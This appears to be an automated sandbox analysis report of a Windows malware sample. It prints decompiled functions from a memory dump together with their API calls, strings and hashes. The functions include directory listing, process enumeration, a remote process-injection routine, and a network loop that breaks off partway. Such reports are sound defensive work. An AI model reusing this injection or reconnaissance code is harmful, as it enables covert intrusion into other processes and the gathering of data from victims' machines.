Function 00870087, Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00870087(intOrPtr* __esi, void* __eflags) {
				void* __edi;
				intOrPtr _t6;
				void* _t7;
				void* _t9;
				void* _t10;
				void* _t13;

				_t6 = E00874855(_t10, _t13, 0x80, 0x80); // executed
				 *((intOrPtr*)(__esi + 0xc)) = _t6;
				if(_t6 != 0) {
					_t7 = 0;
					do {
						 *((intOrPtr*)(_t7 +  *((intOrPtr*)(__esi + 0xc)))) = 0;
						_t7 = _t7 + 4;
					} while (_t7 < 0x80);
					 *__esi = 0;
					 *((intOrPtr*)(__esi + 4)) = 0x20;
					 *((intOrPtr*)(__esi + 8)) = 0;
					return 0;
				} else {
					_t9 = 0xfffffffe;
					return _t9;
				}
			}

0x0087008e
0x00870096
0x0087009b
0x008700a2
0x008700a4
0x008700a7
0x008700aa
0x008700ad
0x008700b1
0x008700b3
0x008700ba
0x008700c0
0x0087009d
0x0087009f
0x008700a1
0x008700a1

APIs

_malloc.LIBCMT ref: 0087008E

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: af2625f3d99b1f377257fd306f1ba65c0c70bdff3be649f0c97eb7f164a9f832
Instruction ID: f866357e74976f6617ac9f071e082b6dc699f525a90f0d2337119b7b5ff4fa86
Opcode Fuzzy Hash: af2625f3d99b1f377257fd306f1ba65c0c70bdff3be649f0c97eb7f164a9f832
Instruction Fuzzy Hash: 27E09A7220CA018FDB688E2DF841616A7E5EBC5730B24CA3EE0AED7699D634D4819A05

Uniqueness

Uniqueness Score: -1.00%

Function 008762A8, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008762A8(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x89320c = _t6;
				if(_t6 != 0) {
					 *0x89ae00 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x008762bd
0x008762c3
0x008762ca
0x008762d1
0x008762d7
0x008762cd
0x008762cd
0x008762cd

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00875FE4,00000001,?,?,?,0087615D,?,?,?,0088F6C8,0000000C,00876218), ref: 008762BD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 12b052ec6b978bb77d2f6bfd896e8a2b697ef5f546e2a69a5a0b161cb3f5cdb8
Instruction ID: 4aa13a92e3cd6fdfba0c22143baad08c3aa4c9eb3c23ae43013aff489a5d9a14
Opcode Fuzzy Hash: 12b052ec6b978bb77d2f6bfd896e8a2b697ef5f546e2a69a5a0b161cb3f5cdb8
Instruction Fuzzy Hash: 56D05E765643086ADB106FB57C087263BDCF3843A5F148436B81EC6150F774C9509A40

Uniqueness

Uniqueness Score: -1.00%

Function 00879475, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00879475() {
				void* _t1;

				_t1 = E00879403(0); // executed
				return _t1;
			}

0x00879477
0x0087947d

APIs

__encode_pointer.LIBCMT ref: 00879477

Part of subcall function 00879403: TlsGetValue.KERNEL32(00000000,?,0087947C,00000000,0087D015,00893368,00000000,00000314,?,0087731B,00893368,Microsoft Visual C++ Runtime Library,00012010), ref: 00879415
Part of subcall function 00879403: TlsGetValue.KERNEL32(00000002,?,0087947C,00000000,0087D015,00893368,00000000,00000314,?,0087731B,00893368,Microsoft Visual C++ Runtime Library,00012010), ref: 0087942C
Part of subcall function 00879403: RtlEncodePointer.NTDLL(00000000,?,0087947C,00000000,0087D015,00893368,00000000,00000314,?,0087731B,00893368,Microsoft Visual C++ Runtime Library,00012010), ref: 0087946A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: e008505ffa91c01023a2a0079665aab36e6f043195996a3b1a82f8e48bc5c86d
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0086432A, Relevance: 1.3, APIs: 1, Instructions: 21
sleepCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0086432A(void* __ecx, void* __eflags, long _a4) {
				void* _t3;
				void* _t7;

				_t7 = 0x29;
				_t3 = E00869F64(_t7);
				if(_t3 == 0 ||  *0x897e88 > 0) {
					Sleep(_a4); // executed
					return _t3;
				} else {
					E00864325(__ecx);
					return  *0x89761c( *0x897620, __imp__Sleep, _a4);
				}
			}

0x0086432f
0x00864330
0x00864337
0x00864364
0x0086436b
0x00864342
0x00864342
0x00864360
0x00864360

APIs

Sleep.KERNELBASE(?,?,008615B7,?), ref: 00864364

Part of subcall function 00864325: VirtualProtect.KERNEL32(?,00864325,00000004,?,00000100,0088D524,00000080,?,?,00864347,?,008615B7,?), ref: 008643B1
Part of subcall function 00864325: VirtualProtect.KERNEL32(?,00864325,?,?), ref: 008643CD
Part of subcall function 00864325: _malloc.LIBCMT ref: 008643D1

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ProtectVirtual$Sleep_malloc
String ID:
API String ID: 64507449-0
Opcode ID: 25d3985b223843a9bb3386505bffeff5e997c4547f5cee44eb78f38bf09717e7
Instruction ID: 1ea15cfdf4cd7a586291e722e20fa7549d8c6f34f0200d508928a0d1320d6bd8
Opcode Fuzzy Hash: 25d3985b223843a9bb3386505bffeff5e997c4547f5cee44eb78f38bf09717e7
Instruction Fuzzy Hash: 65E0EC36114208FBEF113B99FD0AE5D3F39FB44755F195022F90884672DB7289A0AB45

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD0, Relevance: 1.3, APIs: 1, Instructions: 16sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401840: GetTickCount.KERNEL32 ref: 00401846
Part of subcall function 00401840: sprintf.MSVCRT ref: 004018B0
Part of subcall function 00401840: CreateThread.KERNELBASE ref: 004018E4

Sleep.KERNELBASE(00000000), ref: 00402D00

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CountCreateSleepThreadTicksprintf
String ID:
API String ID: 2384577035-0
Opcode ID: 1e6912434028103bc5a6c508bd951d093e6aadc30d12394500633c3ece31d725
Instruction ID: 33eece05c98ac4fea13d9e1f35b6ef0c928a53e5959ef7d39daf52fc6b33698d
Opcode Fuzzy Hash: 1e6912434028103bc5a6c508bd951d093e6aadc30d12394500633c3ece31d725
Instruction Fuzzy Hash: 08D05B7440C2047BD6007B55CD45A2E7B58FB05354F00052DF995162D6DE791850A67B

Uniqueness

Uniqueness Score: -1.00%

Function 00402CDA, Relevance: 1.3, APIs: 1, Instructions: 13sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00401840: GetTickCount.KERNEL32 ref: 00401846
Part of subcall function 00401840: sprintf.MSVCRT ref: 004018B0
Part of subcall function 00401840: CreateThread.KERNELBASE ref: 004018E4

Sleep.KERNELBASE(00000000), ref: 00402D00

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: CountCreateSleepThreadTicksprintf
String ID:
API String ID: 2384577035-0
Opcode ID: 8e4fdb16c7583982f46444b2655511dc0a1490aa6f7db76ed07d9a119335f6e8
Instruction ID: 4f2dbf2d4c6521fff77aa9e68473cc9db915a6016c92e925ce6c4fb8e44885df
Opcode Fuzzy Hash: 8e4fdb16c7583982f46444b2655511dc0a1490aa6f7db76ed07d9a119335f6e8
Instruction Fuzzy Hash: B3D012A440C2046BE6407B69C945A2F7A9CFB04388F00083DEE85122C7CABD184066BB

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00864023, Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 172
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00864023(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				struct _SYSTEMTIME _v36;
				struct _SYSTEMTIME _v52;
				struct _WIN32_FIND_DATAA _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t46;
				void* _t53;
				int _t69;
				void* _t72;
				void* _t90;
				void* _t97;
				CHAR* _t98;
				void* _t100;
				void* _t105;
				void* _t113;
				void* _t116;
				void* _t117;
				void* _t120;
				void* _t121;
				void* _t125;

				_t125 = __eflags;
				_t98 = E00874855(_t97, _t105, _t113, 0x4000);
				E0087C290(_t113, _t98, 0, 0x4000);
				E008667D0( &_v20, _a4, _a8);
				_t46 = E008667E9( &_v20);
				_pop(_t100);
				_t114 = _t46;
				E008668FB(_t98, _t125,  &_v20, 0x4000);
				E008615DB(_t98, _t125,  &_v20, 0x200000);
				E0086162B( &_v20,  &_v20, _t46);
				_t53 = E00875D38(_t100, _t98, ".\\*", 0x4000);
				_t120 = _t117 + 0x3c;
				if(_t53 == 0) {
					GetCurrentDirectoryA(0x4000, _t98);
					E00875035(_t98, 0x4000, "\\*", 2);
					_t120 = _t120 + 0x10;
				}
				E0086167E( &_v20, "%s\n", _t98);
				_t121 = _t120 + 0xc;
				_t116 = FindFirstFileA(_t98,  &_v372);
				_t127 = _t116 - 0xffffffff;
				if(_t116 != 0xffffffff) {
					_push(_t98);
					E00874778(_t98, _t105, _t114, _t116, __eflags);
					do {
						FileTimeToSystemTime( &(_v372.ftLastWriteTime),  &_v52);
						SystemTimeToTzSpecificLocalTime(0,  &_v52,  &_v36);
						__eflags = _v372.dwFileAttributes & 0x00000010;
						if((_v372.dwFileAttributes & 0x00000010) == 0) {
							_push( &(_v372.cFileName));
							_push(_v36.wSecond & 0x0000ffff);
							_push(_v36.wMinute & 0x0000ffff);
							_push(_v36.wHour & 0x0000ffff);
							_push(_v36.wYear & 0x0000ffff);
							_push(_v36.wDay & 0x0000ffff);
							_push(_v36.wMonth & 0x0000ffff);
							_push(_v372.nFileSizeHigh);
							E0086167E( &_v20, "F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", _v372.nFileSizeLow);
							_t121 = _t121 + 0x2c;
						} else {
							_push( &(_v372.cFileName));
							_push(_v36.wSecond & 0x0000ffff);
							_push(_v36.wMinute & 0x0000ffff);
							_push(_v36.wHour & 0x0000ffff);
							_push(_v36.wYear & 0x0000ffff);
							_push(_v36.wDay & 0x0000ffff);
							E0086167E( &_v20, "D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n", _v36.wMonth & 0x0000ffff);
							_t121 = _t121 + 0x24;
						}
						_t69 = FindNextFileA(_t116,  &_v372);
						__eflags = _t69;
					} while (_t69 != 0);
					FindClose(_t116);
					_t72 = E008616E0( &_v20);
					E008612CF(_t98, E008616DD( &_v20), _t72, 0x16);
				} else {
					E00861EC5(0x34, _t98, GetLastError());
					_t90 = E008616E0( &_v20);
					E008612CF(_t98, E008616DD( &_v20), _t90, 0x16);
					_push(_t98);
					E00874778(_t98, _t105, _t114, _t116, _t127);
				}
				return E008616BD(_t98,  &_v20);
			}

0x00864023
0x0086403c
0x00864041
0x00864053
0x0086405f
0x00864064
0x00864065
0x0086406c
0x0086407a
0x00864084
0x00864090
0x00864095
0x0086409a
0x0086409e
0x008640ad
0x008640b2
0x008640b2
0x008640bf
0x008640c4
0x008640d5
0x008640d7
0x008640da
0x00864116
0x00864117
0x0086411d
0x00864128
0x00864138
0x0086413e
0x00864145
0x0086418b
0x00864190
0x0086419b
0x008641a0
0x008641a5
0x008641aa
0x008641af
0x008641b0
0x008641bb
0x008641c0
0x00864147
0x0086414d
0x00864152
0x00864157
0x0086415c
0x00864161
0x00864166
0x00864175
0x0086417a
0x0086417a
0x008641cb
0x008641d1
0x008641d1
0x008641da
0x008641e5
0x008641f4
0x008640dc
0x008640e6
0x008640f3
0x00864102
0x0086410a
0x0086410b
0x00864110
0x0086420a

APIs

_malloc.LIBCMT ref: 00864035

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

_memset.LIBCMT ref: 00864041

Part of subcall function 008615DB: _malloc.LIBCMT ref: 008615E1

Part of subcall function 0086162B: htonl.WS2_32(00000000), ref: 00861631

_strncmp.LIBCMT ref: 00864090
GetCurrentDirectoryA.KERNEL32(00004000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0086409E

Part of subcall function 00874778: __lock.LIBCMT ref: 00874796
Part of subcall function 00874778: ___sbh_find_block.LIBCMT ref: 008747A1
Part of subcall function 00874778: ___sbh_free_block.LIBCMT ref: 008747B0
Part of subcall function 00874778: HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
Part of subcall function 00874778: GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

FindFirstFileA.KERNEL32(00000000,?), ref: 008640CF
GetLastError.KERNEL32 ref: 008640DC
FileTimeToSystemTime.KERNEL32(?,?), ref: 00864128
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,00000000), ref: 00864138
FindNextFileA.KERNEL32(00000000,00000010), ref: 008641CB
FindClose.KERNEL32(00000000), ref: 008641DA

Part of subcall function 0086167E: _vwprintf.LIBCMT ref: 00861688
Part of subcall function 0086167E: _vswprintf_s.LIBCMT ref: 008616AC

Strings

D0%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 0086416F
.\*, xrefs: 0086408A
%s, xrefs: 008640B9
F%I64d%02d/%02d/%02d %02d:%02d:%02d%s, xrefs: 008641B5

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Time$FileFind$ErrorHeapLastSystem_malloc$AllocateCloseCurrentDirectoryFirstFreeLocalNextSpecific___sbh_find_block___sbh_free_block__lock_memset_strncmp_vswprintf_s_vwprintfhtonl
String ID: %s$.\*$D0%02d/%02d/%02d %02d:%02d:%02d%s$F%I64d%02d/%02d/%02d %02d:%02d:%02d%s
API String ID: 2804257087-1754256099
Opcode ID: 19ecafa457248da5a79476f8da96c18164cd68c6cf6ad89c1f35f9d764e8b09f
Instruction ID: 3e30b478b9d054798fa523d6c5a1aea2d93b9704dd4cd46d8f538021916a1de6
Opcode Fuzzy Hash: 19ecafa457248da5a79476f8da96c18164cd68c6cf6ad89c1f35f9d764e8b09f
Instruction Fuzzy Hash: 3C5121B2904129AADB10EBE9DC4AEFF77BCFF18744F094416F615E2182EA3899448761

Uniqueness

Uniqueness Score: -1.00%

Function 008684C1, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155
processCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E008684C1(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char* _v8;
				void* _v12;
				signed int _v16;
				char _v32;
				char _v296;
				intOrPtr _v308;
				long _v324;
				void* _v332;
				char _v2379;
				void* _v2380;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t50;
				void* _t51;
				signed int _t54;
				void* _t60;
				void* _t61;
				void* _t62;
				char* _t63;
				char* _t70;
				void* _t83;
				void* _t84;
				void* _t85;
				void* _t88;
				void* _t93;
				void* _t94;
				void* _t97;
				void* _t98;
				void* _t100;

				_t100 = __eflags;
				_v2380 = 0;
				E0087C290(_t93,  &_v2379, 0, 0x7ff);
				E008667D0( &_v32, _a4, _a8);
				_v12 = E008667E9( &_v32);
				E008615DB(_t83, _t100,  &_v32, 0x8000);
				_t98 = _t97 + 0x24;
				if(_v12 > 0) {
					E0086162B( &_v32,  &_v32, _v12);
					_pop(_t85);
				}
				if(E0086318D(_t85, GetCurrentProcess()) == 0) {
					_t50 = E0086D2F6();
					_v8 = "x64";
					__eflags = _t50;
					if(_t50 == 0) {
						_v8 = "x86";
					}
				} else {
					_v8 = "x64";
				}
				_t51 = CreateToolhelp32Snapshot(2, 0);
				_t84 = _t51;
				if(_t84 == 0xffffffff) {
					return _t51;
				} else {
					_v332 = 0x128;
					if(Process32First(_t84,  &_v332) != 0) {
						do {
							_t54 = E008664A8(_t53);
							asm("sbb eax, eax");
							_t94 = OpenProcess(( ~_t54 & 0x00000c00) + 0x400, 0, _v324);
							__eflags = _t94;
							if(_t94 != 0) {
								_t60 = E00868454(_t94,  &_v2380);
								_pop(_t88);
								__eflags = _t60;
								if(_t60 == 0) {
									_v2380 = _t60;
								}
								_t61 =  &_v16;
								__imp__ProcessIdToSessionId(_v324, _t61);
								__eflags = _t61;
								if(_t61 == 0) {
									_t26 =  &_v16;
									 *_t26 = _v16 | 0xffffffff;
									__eflags =  *_t26;
								}
								_t62 = E0086318D(_t88, _t94);
								__eflags = _t62;
								_t63 = "x86";
								if(_t62 == 0) {
									_t63 = _v8;
								}
								_push(_v16);
								_push( &_v2380);
								_push(_t63);
								_push(_v324);
								_push(_v308);
								E0086167E( &_v32, "%s\t%d\t%d\t%s\t%s\t%d\n",  &_v296);
								_t98 = _t98 + 0x20;
							} else {
								_push(_v324);
								_push(_v308);
								E0086167E( &_v32, "%s\t%d\t%d\n",  &_v296);
								_t98 = _t98 + 0x14;
							}
							CloseHandle(_t94);
							_t53 = Process32Next(_t84,  &_v332);
							__eflags = _t53;
						} while (_t53 != 0);
						CloseHandle(_t84);
						__eflags = _v12;
						_t70 =  &_v32;
						if(_v12 != 0) {
							_push(0x16);
						} else {
							_push(0x11);
						}
						_push(E008616E0(_t70));
						_push(E008616DD( &_v32));
						E008612CF(_t84);
						return E008616BD(_t84,  &_v32);
					}
					return CloseHandle(_t84);
				}
			}

0x008684c1
0x008684dc
0x008684e3
0x008684f2
0x00868500
0x0086850c
0x00868511
0x00868517
0x00868520
0x00868526
0x00868526
0x00868536
0x00868541
0x00868546
0x0086854d
0x0086854f
0x00868551
0x00868551
0x00868538
0x00868538
0x00868538
0x0086855b
0x00868560
0x00868565
0x008686a8
0x0086856b
0x00868573
0x00868584
0x00868598
0x008685a0
0x008685a7
0x008685ba
0x008685bc
0x008685be
0x008685ee
0x008685f4
0x008685f5
0x008685f7
0x008685f9
0x008685f9
0x008685ff
0x00868609
0x0086860f
0x00868611
0x00868613
0x00868613
0x00868613
0x00868613
0x00868618
0x0086861d
0x00868620
0x00868625
0x00868627
0x00868627
0x0086862a
0x00868633
0x00868634
0x00868635
0x00868641
0x00868651
0x00868656
0x008685c0
0x008685c0
0x008685cc
0x008685dc
0x008685e1
0x008685e1
0x0086865a
0x00868664
0x00868669
0x00868669
0x00868672
0x00868674
0x00868678
0x0086867b
0x00868681
0x0086867d
0x0086867d
0x0086867d
0x00868688
0x00868691
0x00868692
0x00000000
0x008686a3
0x00000000
0x00868587

APIs

_memset.LIBCMT ref: 008684E3

Part of subcall function 008615DB: _malloc.LIBCMT ref: 008615E1

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?), ref: 00868527
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0086855B
Process32First.KERNEL32(00000000,?), ref: 0086857D
CloseHandle.KERNEL32(00000000,00000002,00000000,?,?,?,?,?,?,?,?), ref: 00868587

Part of subcall function 0086162B: htonl.WS2_32(00000000), ref: 00861631

OpenProcess.KERNEL32(-00000400,00000000,?,00000002,00000000,?,?,?,?,?,?,?,?), ref: 008685B4
ProcessIdToSessionId.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 00868609
CloseHandle.KERNEL32(00000000), ref: 0086865A
Process32Next.KERNEL32 ref: 00868664
CloseHandle.KERNEL32(00000000,00000000,00000128), ref: 00868672

Part of subcall function 00868454: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,?,?,008685F3,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00868461

Strings

x86, xrefs: 00868551, 00868620, 00868634
%s%d%d, xrefs: 008685D6
%s%d%d%s%s%d, xrefs: 0086864B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Process$CloseHandle$OpenProcess32$CreateCurrentFirstNextSessionSnapshotTokenToolhelp32_malloc_memsethtonl
String ID: %s%d%d%s%s%d$%s%d%d$x86
API String ID: 1744962696-523668186
Opcode ID: 0de1e347587d3ddd9fca2126d7a0bb83fe55130215dbb7f44a1c7a203d041478
Instruction ID: 9daa925c0bb6941edd962e3cae053f5817b94df32f88df918c474bcf44066dca
Opcode Fuzzy Hash: 0de1e347587d3ddd9fca2126d7a0bb83fe55130215dbb7f44a1c7a203d041478
Instruction Fuzzy Hash: F7518EB2C0021DAADF11ABA8DC4AEEE77BCFF14354F154155F61DE2082EE34DA458B62

Uniqueness

Uniqueness Score: -1.00%

Function 008686E6, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 008686F3

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

__snprintf.LIBCMT ref: 00868704
FindFirstFileA.KERNEL32(00000000,00863ECB,?,008687D5,00863ECB,?,00863E4F), ref: 00868711

Part of subcall function 00874778: __lock.LIBCMT ref: 00874796
Part of subcall function 00874778: ___sbh_find_block.LIBCMT ref: 008747A1
Part of subcall function 00874778: ___sbh_free_block.LIBCMT ref: 008747B0
Part of subcall function 00874778: HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
Part of subcall function 00874778: GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

_malloc.LIBCMT ref: 00868750
__snprintf.LIBCMT ref: 00868765

Part of subcall function 008686A9: _malloc.LIBCMT ref: 008686B4
Part of subcall function 008686A9: __snprintf.LIBCMT ref: 008686C8

FindNextFileA.KERNEL32(000000FF,00863ECB,?,?,?,?,?,?,?), ref: 00868792
FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 0086879F

Strings

%s\*, xrefs: 008686FD

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\*
API String ID: 1254174322-766152087
Opcode ID: a94fc9e9594b7006ec4e773d61f26b43d573b638f274add72a7e0a9a058c5618
Instruction ID: 9ce296d03c4e0f4b1d52a5a77bc4c0dc461e2a76063ef1eb07382be4b47c2645
Opcode Fuzzy Hash: a94fc9e9594b7006ec4e773d61f26b43d573b638f274add72a7e0a9a058c5618
Instruction Fuzzy Hash: 6D21AF72500208BBDF116F68CC45EAB3B69FF413A1F2A8124F918EA191DB718D1197A1

Uniqueness

Uniqueness Score: -1.00%

Function 00865120, Relevance: 9.1, APIs: 6, Instructions: 93
memoryinjectionCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00865120(long __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				char _v16;
				long _t15;
				void* _t19;
				long _t39;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;

				_t39 = __ebx;
				_t42 = 0x2d;
				_t48 = 0;
				_t15 = E00869F64(_t42);
				_v8 = _t15;
				if(__ebx > _t15) {
					_v8 = __ebx;
				}
				_t43 = 0x2b;
				_t47 = VirtualAllocEx(_a4, _t48, _v8, 0x3000, E00869F52(_t43) & 0x0000ffff);
				if(_t47 != 0) {
					if(_t39 <= 0) {
						L9:
						_t44 = 0x2c;
						_t19 = E00869F52(_t44);
						_t45 = 0x2b;
						if(E00869F52(_t45) == _t19) {
							L14:
							return _t47;
						}
						_push( &_v16);
						_t46 = 0x2c;
						if(VirtualProtectEx(_a4, _t47, _v8, E00869F52(_t46) & 0x0000ffff, ??) != 0) {
							goto L14;
						}
						_push(GetLastError());
						_push(0x11);
						L13:
						E00861E97();
						goto L4;
					}
					while(WriteProcessMemory(_a4, _t47 + _t48, _a8 + _t48, _t39 - _t48,  &_v12) != 0) {
						_t48 = _t48 + _v12;
						if(_v12 == 0) {
							goto L4;
						}
						if(_t48 < _t39) {
							continue;
						}
						goto L9;
					}
					_push(GetLastError());
					_push(0x10);
					goto L13;
				} else {
					E00861EDD(0x1f, _v8, GetLastError());
					L4:
					return 0;
				}
			}

0x00865120
0x0086512a
0x0086512b
0x0086512d
0x00865132
0x00865137
0x00865139
0x00865139
0x0086513e
0x0086515a
0x0086515e
0x0086517d
0x008651ac
0x008651ae
0x008651af
0x008651b6
0x008651c2
0x00865205
0x00000000
0x00865205
0x008651c7
0x008651ca
0x008651e3
0x00000000
0x00000000
0x008651eb
0x008651ec
0x008651f9
0x008651f9
0x00000000
0x008651ff
0x0086517f
0x0086519f
0x008651a6
0x00000000
0x00000000
0x008651aa
0x00000000
0x00000000
0x00000000
0x008651aa
0x008651f6
0x008651f7
0x00000000
0x00865160
0x0086516c
0x00865174
0x00000000
0x00865174

APIs

VirtualAllocEx.KERNEL32(00000000,00000000,00000000,00003000,?,00000000,?,?,00864D09,00000000,00000000), ref: 00865154
GetLastError.KERNEL32(?,00864D09,00000000,00000000), ref: 00865160
WriteProcessMemory.KERNEL32(00000000,00864D09,00864D09,?,00000000,?,00864D09,00000000,00000000), ref: 00865195
VirtualProtectEx.KERNEL32(00000000,00000000,00000000,?,00864D09,?,00864D09,00000000,00000000), ref: 008651DB
GetLastError.KERNEL32(?,00864D09,00000000,00000000), ref: 008651E5
GetLastError.KERNEL32(?,00000000,?,00864D09,00000000,00000000), ref: 008651F0

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$Virtual$AllocMemoryProcessProtectWrite
String ID:
API String ID: 1617773786-0
Opcode ID: 5f09f7fbd1fb9e8bfe2c78e3203555cd170bf74b84a8b5835e98fa37eb9ab501
Instruction ID: 03015174cfbba23ad22b13caa531c867d2f2ce1e937661ff19814d94c6725d3a
Opcode Fuzzy Hash: 5f09f7fbd1fb9e8bfe2c78e3203555cd170bf74b84a8b5835e98fa37eb9ab501
Instruction Fuzzy Hash: 8521A476600608BAEF11AFA9DC49FBE3B7CFB41B50F224021FA54DA190DB71CE419761

Uniqueness

Uniqueness Score: -1.00%

Function 00862CE5, Relevance: 9.1, APIs: 6, Instructions: 68
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00862CE5(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v36;
				signed int _t29;
				signed int _t30;
				signed int _t31;
				void* _t38;
				void* _t43;

				_t43 = __eflags;
				_t31 = _t30 | 0xffffffff;
				_t38 = GetTickCount() + 0xea60;
				E008667D0( &_v36, _a4, _a8);
				_v12 = E0086693F(_t43,  &_v36);
				_v8 = E008667E9( &_v36);
				_v20 = E008668A9( &_v36);
				_v16 = E0086689E( &_v36);
				E008625A5();
				while(GetTickCount() < _t38) {
					_t29 = E00862C75(_t28, _v12, _v8);
					_t31 = _t29;
					__eflags = _t31 - 0xffffffff;
					if(_t31 != 0xffffffff) {
						_push(0);
						_push(_v16);
